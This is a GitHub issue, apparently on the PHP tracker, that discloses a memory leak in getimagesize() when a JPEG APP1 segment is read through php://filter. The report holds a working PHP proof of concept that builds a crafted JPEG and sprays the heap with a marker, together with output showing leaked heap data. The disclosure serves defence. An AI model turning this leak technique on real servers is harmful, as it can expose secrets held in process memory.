Skip to content

Information Leak of Memory #20584

@012git012

Description

@012git012

Description

The following code:

<?php
// Minimal PoC: corruption/uninitialized memory leak when reading APP1 via php://filter
$file = __DIR__ . '/min.jpg';
// Make APP1 large enough so it is read in multiple chunks
$chunk = 8192;
$tail = 123;
$payload = str_repeat('A', $chunk) . str_repeat('B', $chunk) . str_repeat('Z',
$tail);
$app1Len = 2 + strlen($payload);
// Minimal JPEG: SOI + APP1 + SOF0(1x1) + EOI
$sof = "\xFF\xC0" . pack('n', 11) . "\x08" . pack('n',1) . pack('n',1) .
"\x01\x11\x00";
$jpeg = "\xFF\xD8" . "\xFF\xE1" . pack('n', $app1Len) . $payload . $sof .
"\xFF\xD9";
file_put_contents($file, $jpeg);
// Mini heap-spray: fill heap with a marker and free it, so the C buffer
// can reuse those areas and return marker remnants in $info['APP1']
$marker = 'LEAK-MARKER-123!';
$spr = substr(str_repeat($marker, intdiv(strlen($payload) + strlen($marker) - 1,
strlen($marker))), 0, strlen($payload));
$spray = [];
for ($i = 0; $i < 512; $i++) {
 $x = $spr; $x[0] = chr($i & 0x7F); // COW -> distinct allocations
 $spray[$i] = $x;
}
unset($spray, $x);
gc_collect_cycles();
// Read through a filter to enforce multiple reads
$src = 'php://filter/read=string.rot13|string.rot13/resource=' . $file;
$info = null;
if (!@getimagesize($src, $info) || !isset($info['APP1'])) {
 echo "Error: failed to obtain APP1 from getimagesize().\n";
 exit(1);
}
$exp = $payload;
$ret = $info['APP1'];
// Human-readable output
$lenExp = strlen($exp);
$lenRet = strlen($ret);
echo "APP1 length: expected=$lenExp, actual=$lenRet\n";
echo "Expected APP1 head (HEX): ", bin2hex(substr($exp, 0, 16)), "\n";
echo "Returned APP1 head (HEX): ", bin2hex(substr($ret, 0, 16)), "\n";
echo ($exp === $ret)
 ? "Result: OK — data matches.\n"
 : "Result: VULNERABLE — data differs (corruption/leak).\n";
// If found — show marker offset and a short snippet
$pos = strpos($ret, $marker);
if ($pos !== false) {
 echo "Leak marker found: offset=$pos (inside returned APP1).\n";
 $ctx = 12; // bytes of context left/right
 $start = max(0, $pos - $ctx);
 $end = min(strlen($ret), $pos + strlen($marker) + $ctx);
 $before = substr($ret, $start, $pos - $start);
 $mid = substr($ret, $pos, strlen($marker));
 $after = substr($ret, $pos + strlen($marker), $end - ($pos +
strlen($marker)));
 $sanitize = function ($s) {
 return preg_replace('/[^\x20-\x7E]/', '.', $s);
 };
 $asciiLine = $sanitize($before) . '[' . $mid . ']' . $sanitize($after);
 $hexLine = bin2hex($before) . '[' . bin2hex($mid) . ']' . bin2hex($after);
 echo "Snippet with marker (ASCII, marker in []): ", $asciiLine, "\n";
 echo "Snippet with marker (HEX, marker in []): ", $hexLine, "\n";
} else if ($exp !== $ret) {
 echo "Marker not found, but data differs — still indicates a read bug.\n";
}

Resulted in this output:

$ ./php cli.php 
APP1 length: expected=16507, actual=16507
Expected APP1 head (HEX): 41414141414141414141414141414141
Returned APP1 head (HEX): 4242424242425a5a5a5a5a5a5a5a5a5a
Result: VULNERABLE — data differs (corruption/leak).
Leak marker found: offset=16392 (inside returned APP1).
Snippet with marker (ASCII, marker in []): -MARKER-123![LEAK-MARKER-123!]LEAK-MARKER-
Snippet with marker (HEX, marker in []): 2d4d41524b45522d31323321[4c45414b2d4d41524b45522d31323321]4c45414b2d4d41524b45522d

Build configuration:

$ ./configure CFLAGS="-fsanitize=address -g" CXXFLAGS="-fsanitize=address -g" LDFLAGS="-fsanitize=address" --enable-debug

Researcher: Nikita Sveshnikov (Positive Technologies)

PHP Version

PHP 8.6.0-dev (cli) (built: Nov 18 2025 10:57:54) (NTS DEBUG)
Copyright (c) The PHP Group
Zend Engine v4.6.0-dev, Copyright (c) Zend Technologies
    with Zend OPcache v8.6.0-dev, Copyright (c), by Zend Technologies

Operating System

Ubuntu 24.04.2 LTS

Metadata

Metadata

Assignees

Type

No type

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions